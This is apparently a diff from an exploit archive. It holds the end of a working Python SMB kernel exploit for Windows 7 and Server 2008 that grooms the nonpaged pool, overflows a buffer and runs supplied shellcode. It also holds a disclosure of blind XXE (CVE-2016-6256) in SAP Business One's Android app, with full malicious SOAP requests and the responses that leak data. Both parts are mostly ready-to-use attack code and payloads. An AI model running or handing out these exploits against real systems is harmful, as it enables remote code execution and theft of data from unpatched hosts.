if not sendLastChunk:
|
||||
break
|
||||
send_trans2_second(conn, tid, data[i:i+sendSize], i)
|
||||
i += sendSize
|
||||
|
||||
if sendLastChunk:
|
||||
conn.recvSMB()
|
||||
return i
|
||||
|
||||
|
||||
# connect to target and send a large nbss size with data 0x80 bytes
|
||||
# this method is for allocating big nonpaged pool (no need to be same size as overflow buffer) on target
|
||||
# a nonpaged pool is allocated by srvnet.sys that started by useful struct (especially after overwritten)
|
||||
def createConnectionWithBigSMBFirst80(target):
|
||||
# https://msdn.microsoft.com/en-us/library/cc246496.aspx
|
||||
# Above link is about SMB2, but the important here is first 4 bytes.
|
||||
# If using wireshark, you will see the StreamProtocolLength is NBSS length.
|
||||
# The first 4 bytes is same for all SMB version. It is used for determine the SMB message length.
|
||||
#
|
||||
# After received first 4 bytes, srvnet.sys allocate nonpaged pool for receving SMB message.
|
||||
# srvnet.sys forwards this buffer to SMB message handler after receiving all SMB message.
|
||||
# Note: For Windows 7 and Windows 2008, srvnet.sys also forwards the SMB message to its handler when connection lost too.
|
||||
sk = socket.create_connection((target, 445))
|
||||
# For this exploit, use size is 0x11000
|
||||
pkt = '\x00' + '\x00' + pack('>H', 0xfff7)
|
||||
# There is no need to be SMB2 because we got code execution by corrupted srvnet buffer.
|
||||
# Also this is invalid SMB2 message.
|
||||
# I believe NSA exploit use SMB2 for hiding alert from IDS
|
||||
#pkt += '\xffSMB' # smb2
|
||||
# it can be anything even it is invalid
|
||||
pkt += 'BAAD' # can be any
|
||||
pkt += '\x00'*0x7c
|
||||
sk.send(pkt)
|
||||
return sk
|
||||
|
||||
|
||||
def exploit(target, shellcode, numGroomConn):
|
||||
# force using smb.SMB for SMB1
|
||||
conn = smb.SMB(target, target)
|
||||
|
||||
# can use conn.login() for ntlmv2
|
||||
conn.login_standard('', '')
|
||||
server_os = conn.get_server_os()
|
||||
print('Target OS: '+server_os)
|
||||
if not (server_os.startswith("Windows 7 ") or server_os.startswith("Windows Server 2008 ")):
|
||||
print('This exploit does not support this target')
|
||||
sys.exit()
|
||||
|
||||
|
||||
tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
|
||||
|
||||
# Here is code path in WinNT4 (all reference files are relative path to https://github.com/Safe3/WinNT4/blob/master/private/ntos/srv/)
|
||||
# - SrvSmbNtTransaction() (smbtrans.c#L2677)
|
||||
# - When all data is received, call ExecuteTransaction() at (smbtrans.c#L3113)
|
||||
# - ExecuteTransaction() (smbtrans.c#L82)
|
||||
# - Call dispatch table (smbtrans.c#L347)
|
||||
# - Dispatch table is defined at srvdata.c#L972 (target is command 0, SrvSmbOpen2() function)
|
||||
# - SrvSmbOpen2() (smbopen.c#L1002)
|
||||
# - call SrvOs2FeaListToNt() (smbopen.c#L1095)
|
||||
|
||||
# https://msdn.microsoft.com/en-us/library/ee441720.aspx
|
||||
# Send special feaList to a target except last fragment with SMB_COM_NT_TRANSACT and SMB_COM_TRANSACTION2_SECONDARY command
|
||||
# Note: cannot use SMB_COM_TRANSACTION2 for the exploit because the TotalDataCount field is USHORT
|
||||
# Note: transaction max data count is 66512 (0x103d0) and DataDisplacement is USHORT
|
||||
progress = send_nt_trans(conn, tid, 0, feaList, '\x00'*30, 2000, False)
|
||||
# we have to know what size of NtFeaList will be created when last fragment is sent
|
||||
|
||||
# make sure server recv all payload before starting allocate big NonPaged
|
||||
#sendEcho(conn, tid, 'a'*12)
|
||||
|
||||
# create buffer size NTFEA_SIZE-0x1000 at server
|
||||
# this buffer MUST NOT be big enough for overflown buffer
|
||||
allocConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x1010)
|
||||
|
||||
# groom nonpaged pool
|
||||
# when many big nonpaged pool are allocated, allocate another big nonpaged pool should be next to the last one
|
||||
srvnetConn = []
|
||||
for i in range(numGroomConn):
|
||||
sk = createConnectionWithBigSMBFirst80(target)
|
||||
srvnetConn.append(sk)
|
||||
|
||||
# create buffer size NTFEA_SIZE at server
|
||||
# this buffer will be replaced by overflown buffer
|
||||
holeConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x10)
|
||||
# disconnect allocConn to free buffer
|
||||
# expect small nonpaged pool allocation is not allocated next to holeConn because of this free buffer
|
||||
allocConn.get_socket().close()
|
||||
|
||||
# hope one of srvnetConn is next to holeConn
|
||||
for i in range(5):
|
||||
sk = createConnectionWithBigSMBFirst80(target)
|
||||
srvnetConn.append(sk)
|
||||
|
||||
# send echo again, all new 5 srvnet buffers should be created
|
||||
#sendEcho(conn, tid, 'a'*12)
|
||||
|
||||
# remove holeConn to create hole for fea buffer
|
||||
holeConn.get_socket().close()
|
||||
|
||||
# send last fragment to create buffer in hole and OOB write one of srvnetConn struct header
|
||||
send_trans2_second(conn, tid, feaList[progress:], progress)
|
||||
recvPkt = conn.recvSMB()
|
||||
retStatus = recvPkt.getNTStatus()
|
||||
# retStatus MUST be 0xc000000d (INVALID_PARAMETER) because of invalid fea flag
|
||||
if retStatus == 0xc000000d:
|
||||
print('good response status: INVALID_PARAMETER')
|
||||
else:
|
||||
print('bad response status: 0x{:08x}'.format(retStatus))
|
||||
|
||||
|
||||
# one of srvnetConn struct header should be modified
|
||||
# a corrupted buffer will write recv data in designed memory address
|
||||
for sk in srvnetConn:
|
||||
sk.send(fake_recv_struct + shellcode)
|
||||
|
||||
# execute shellcode by closing srvnet connection
|
||||
for sk in srvnetConn:
|
||||
sk.close()
|
||||
|
||||
# nicely close connection (no need for exploit)
|
||||
conn.disconnect_tree(tid)
|
||||
conn.logoff()
|
||||
conn.get_socket().close()
|
||||
|
||||
|
||||
if len(sys.argv) < 3:
|
||||
print("{} <ip> <shellcode_file> [numGroomConn]".format(sys.argv[0]))
|
||||
sys.exit(1)
|
||||
|
||||
TARGET=sys.argv[1]
|
||||
numGroomConn = 13 if len(sys.argv) < 4 else int(sys.argv[3])
|
||||
|
||||
fp = open(sys.argv[2], 'rb')
|
||||
sc = fp.read()
|
||||
fp.close()
|
||||
|
||||
print('shellcode size: {:d}'.format(len(sc)))
|
||||
print('numGroomConn: {:d}'.format(numGroomConn))
|
||||
|
||||
exploit(TARGET, sc, numGroomConn)
|
||||
print('done')
|
157
platforms/xml/webapps/42036.txt
Executable file
157
platforms/xml/webapps/42036.txt
Executable file
|
@ -0,0 +1,157 @@
|
|||
Exploit Title: Blind XXE (XML External Entity)in SAP
|
||||
Date of Disclosure: 17/05/2017
|
||||
Author: Ravindra Singh Rathore
|
||||
Vendor Homepage: https://www.sap.com/products/business-one.html
|
||||
Product - SAP Business One Android Application
|
||||
Version - 1.2.3
|
||||
Security Note: 2378065
|
||||
CVE - CVE-2016-6256
|
||||
CVSS - 6.5
|
||||
|
||||
XXE - An XML External Entity(XXE) attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts.
|
||||
|
||||
SAP Business One Android Application is vulnerable to XXE. A remote attacker could exploit this vulnerability to expose highly sensitive information from servers.
|
||||
|
||||
|
||||
1) HTTP Request Response
|
||||
**************************************************************************
|
||||
|
||||
POST /B1iXcellerator/exec/soap/vP.001sap0003.in_WCSX/com.sap.b1i.vplatform.runtime/INB_WS_CALL_SYNC_XPT/INB_WS_CALL_SYNC_XPT.ipo/proc HTTP/1.1
|
||||
Content-Type: text/xml; charset=UTF-8
|
||||
User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.2.2; Custom Tablet - 4.2.2 - API 17 - 2560x1600 Build/JDQ39E) B1Mobile/1.2.3
|
||||
Host: b1hmobile.tdc.sap.com:8443
|
||||
Connection: close
|
||||
Accept-Encoding: gzip
|
||||
Cookie: JSESSIONID=13946F6CFCBB6FE1F2D515087FB08FF3; JSESSIONID=13946F6CFCBB6FE1F2D515087FB08FF3
|
||||
Content-Length: 493
|
||||
|
||||
<?xml version='1.0' encoding='UTF-8' ?> <!DOCTYPE foo [
|
||||
<!ELEMENT foo ANY >
|
||||
<!ENTITY xxe SYSTEM "https://live.com" >]><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><GetRecentActivity xmlns="http://tempuri.org/"><EndTime>2016-06-30 23:59</EndTime><StartTime>2016-06-01 00:00</StartTime><foo>&xxe;</foo></GetRecentActivity></soap:Body></soap:Envelope>
|
||||
|
||||
|
||||
|
||||
|
||||
HTTP/1.1 500 Internal Server Error
|
||||
Date: Wed, 18 May 2016 07:01:33 GMT
|
||||
Server:
|
||||
X-FRAME-OPTIONS: SAMEORIGIN
|
||||
Expires: Thu, 01 Jan 1970 00:00:00 GMT
|
||||
Content-Type: text/xml
|
||||
Content-Length: 5566
|
||||
Connection: close
|
||||
|
||||
<?xml version='1.0' encoding="UTF-8"?>
|
||||
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"><SOAP-ENV:Body><SOAP-ENV:Fault><faultcode>SOAP-ENV:Server</faultcode><faultstring>Server Error</faultstring><detail><xci:reason xmlns:xci="urn:com.sap.b1i.xcellerator:intdoc">Connection timed out: connect</xci:reason><xci:tid xmlns:xci="urn:com.sap.b1i.xcellerator:intdoc">16051808473007955376AC106B972823</xci:tid><xci:exception xmlns:xci="urn:com.sap.b1i.xcellerator:intdoc">com.sap.b1i.xcellerator.XcelleratorException: XCE001 Nested exception:
|
||||
com.sap.b1i.xcellerator.XcelleratorException: XCE001 Nested exception:
|
||||
com.sap.b1i.utilities.UtilException: UTE001 Nested exception: javax.xml.transform.TransformerException: com.sun.org.apache.xml.internal.utils.WrappedRuntimeException: Connection timed out: connect</xci:exception><xci:callStack xmlns:xci="urn:com.sap.b1i.xcellerator:intdoc">com.sap.b1i.xcellerator.XcelleratorException: XCE001 Nested exception:
|
||||
com.sap.b1i.xcellerator.XcelleratorException: XCE001 Nested exception:
|
||||
com.sap.b1i.utilities.UtilException: UTE001 Nested exception: javax.xml.transform.TransformerException: com.sun.org.apache.xml.internal.utils.WrappedRuntimeException: Connection timed out: connect
|
||||
at com.sap.b1i.xcellerator.IPOWorkResource.execute(IPOWorkResource.java:527)
|
||||
at com.sap.b1i.xcellerator.IPOStepInstance.executeInner(IPOStepInstance.java:683)
|
||||
at com.sap.b1i.xcellerator.IPOStepInstance.executeOuter(IPOStepInstance.java:518)
|
||||
at com.sap.b1i.xcellerator.Xcellerator.trigger(Xcellerator.java:1422)
|
||||
at com.sap.b1i.xcellerator.SingleAdapterPool.trigger(SingleAdapterPool.java:462)
|
||||
at com.sap.b1i.xcellerator.ActiveListenerInteractor.trigger2(ActiveListenerInteractor.java:191)
|
||||
at com.sap.b1i.xcl_wsar.WSARListener.executeWSAx(WSARListener.java:219)
|
||||
at com.sap.b1i.xcl_wsar.WSARListener.handleWS(WSARListener.java:156)
|
||||
at com.sap.b1i.xcl_http.HTTPListener._doXxx(HTTPListener.java:1504)
|
||||
at com.sap.b1i.xcl_http.HTTPListener._doPost(HTTPListener.java:1405)
|
||||
at com.sap.b1i.xcl_http.HTTPListener.service(HTTPListener.java:805)
|
||||
at javax.servlet.http.HttpServlet.service(HttpServlet.java:723)
|
||||
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:290)
|
||||
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206)
|
||||
at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:233)
|
||||
at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:191)
|
||||
at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:563)
|
||||
at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:127)
|
||||
at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:103)
|
||||
at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:109)
|
||||
at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:293)
|
||||
at org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:861)
|
||||
at org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler.process(Http11Protocol.java:606)
|
||||
at org.apache.tomcat.util.net.JIoEndpoint$Worker.run(JIoEndpoint.java:489)
|
||||
at java.lang.Thread.run(Thread.java:812)
|
||||
Caused by: com.sap.b1i.xcellerator.XcelleratorException: XCE001 Nested exception:
|
||||
com.sap.b1i.utilities.UtilException: UTE001 Nested exception: javax.xml.transform.TransformerException: com.sun.org.apache.xml.internal.utils.WrappedRuntimeException: Connection timed out: connect
|
||||
at com.sap.b1i.xcl_wsar.WSARAdapter.get(WSARAdapter.java:295)
|
||||
at com.sap.b1i.xcellerator.IPOStepInstance.handleIO(IPOStepInstance.java:1391)
|
||||
at com.sap.b1i.xcellerator.IPOStepInstance.executeTransaction(IPOStepInstance.java:1050)
|
||||
at com.sap.b1i.xcellerator.IPOWorkResource.execute(IPOWorkResource.java:425)
|
||||
... 24 more
|
||||
Caused by: com.sap.b1i.utilities.UtilException: UTE001 Nested exception: javax.xml.transform.TransformerException: com.sun.org.apache.xml.internal.utils.WrappedRuntimeException: Connection timed out: connect
|
||||
at com.sap.b1i.utilities.XMLHandler$DocumentManipulator.transformSource2Result(XMLHandler.java:272)
|
||||
at com.sap.b1i.utilities.SAXDoc2Pass.process(SAXDoc2Pass.java:121)
|
||||
at com.sap.b1i.utilities.SAXDocSplitter.process(SAXDocSplitter.java:14)
|
||||
at com.sap.b1i.xcl_wsar.WSARAdapter.get(WSARAdapter.java:255)
|
||||
... 27 more
|
||||
Caused by: javax.xml.transform.TransformerException: com.sun.org.apache.xml.internal.utils.WrappedRuntimeException: Connection timed out: connect
|
||||
at com.sun.org.apache.xalan.internal.xsltc.trax.TransformerImpl.getDOM(TransformerImpl.java:584)
|
||||
at com.sun.org.apache.xalan.internal.xsltc.trax.TransformerImpl.transform(TransformerImpl.java:745)
|
||||
at com.sun.org.apache.xalan.internal.xsltc.trax.TransformerImpl.transform(TransformerImpl.java:357)
|
||||
at com.sap.b1i.utilities.XMLHandler$DocumentManipulator.transformSource2Result(XMLHandler.java:264)
|
||||
... 30 more
|
||||
Caused by: com.sun.org.apache.xml.internal.utils.WrappedRuntimeException: Connection timed out: connect
|
||||
at com.sun.org.apache.xalan.internal.xsltc.dom.XSLTCDTMManager.getDTM(XSLTCDTMManager.java:427)
|
||||
at com.sun.org.apache.xalan.internal.xsltc.dom.XSLTCDTMManager.getDTM(XSLTCDTMManager.java:215)
|
||||
at com.sun.org.apache.xalan.internal.xsltc.trax.TransformerImpl.getDOM(TransformerImpl.java:562)
|
||||
... 33 more
|
||||
</xci:callStack><xci:retryLater xmlns:xci="urn:com.sap.b1i.xcellerator:intdoc">false</xci:retryLater></detail></SOAP-ENV:Fault></SOAP-ENV:Body></SOAP-ENV:Envelope>
|
||||
|
||||
|
||||
**************************************************************************
|
||||
|
||||
|
||||
2) HTTP Request Response
|
||||
**************************************************************************
|
||||
POST /B1iXcellerator/exec/soap/vP.001sap0003.in_WCSX/com.sap.b1i.vplatform.runtime/INB_WS_CALL_SYNC_XPT/INB_WS_CALL_SYNC_XPT.ipo/proc HTTP/1.1
|
||||
Content-Type: text/xml; charset=UTF-8
|
||||
User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.2.2; Custom Tablet - 4.2.2 - API 17 - 2560x1600 Build/JDQ39E) B1Mobile/1.2.3
|
||||
Host: b1hmobile.tdc.sap.com:8443
|
||||
Connection: close
|
||||
Accept-Encoding: gzip
|
||||
Cookie: JSESSIONID=3974AE7255D6C15EB0546A903DF474AC; JSESSIONID=3974AE7255D6C15EB0546A903DF474AC
|
||||
Content-Length: 498
|
||||
|
||||
<?xml version='1.0' encoding='UTF-8' ?> <!DOCTYPE foo [
|
||||
<!ELEMENT foo ANY >
|
||||
<!ENTITY xxe SYSTEM "http://127.0.0.1:8080" >]><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><GetRecentActivity xmlns="http://tempuri.org/"><EndTime>2016-06-30 23:59</EndTime><StartTime>2016-06-01 00:00</StartTime><foo>&xxe;</foo></GetRecentActivity></soap:Body></soap:Envelope>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
HTTP/1.1 200 OK
|
||||
Date: Wed, 15 Jun 2016 10:19:44 GMT
|
||||
Server:
|
||||
X-FRAME-OPTIONS: SAMEORIGIN
|
||||
Expires: Thu, 01 Jan 1970 00:00:00 GMT
|
||||
Content-Type: text/xml;charset=UTF-8
|
||||
Connection: close
|
||||
Content-Length: 9689
|
||||
|
||||
<?xml version='1.0' encoding="UTF-8"?>
|
||||
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"><SOAP-ENV:Body>
|
||||
<GetRecentActivityResponse xmlns="http://tempuri.org/">
|
||||
<GetRecentActivityResult>[{"Number":"2352","Remarks":"Sales discounts","StartDateTime":"2016-06-01 06:40","Activity":"C","EndDateTime":"2016-06-01 06:55","Organizer":"Tom Mobile","CnctPerson":"Daniel Brown","Status":"","Reminder":"N","RemQty":"15.000000","RemType":"M","Notes":""},{"Number":"2390","Remarks":"Sales planning","StartDateTime":"2016-06-17 06:40","Activity":"M","EndDateTime":"2016-06-17 06:55","Organizer":"Tom Mobile","CnctPerson":"Bob McKensly","Status":"","Reminder":"N","RemQty":"15.000000","RemType":"M","Notes":""}]</GetRecentActivityResult>
|
||||
</GetRecentActivityResponse></SOAP-ENV:Body></SOAP-ENV:Envelope>
|
||||
|
||||
|
||||
|
||||
**************************************************************************
|
||||
|
||||
Solution:
|
||||
SAP has released patch on 13/12/2016
|
||||
|
||||
|
||||
## Credits
|
||||
* Ravindra Singh Rathore
|
||||
* https://in.linkedin.com/in/ravindra-singh-rathore-8aa89236
|
||||
* https://twitter.com/ravindra_hacks
|
Loading…
Add table
Reference in a new issue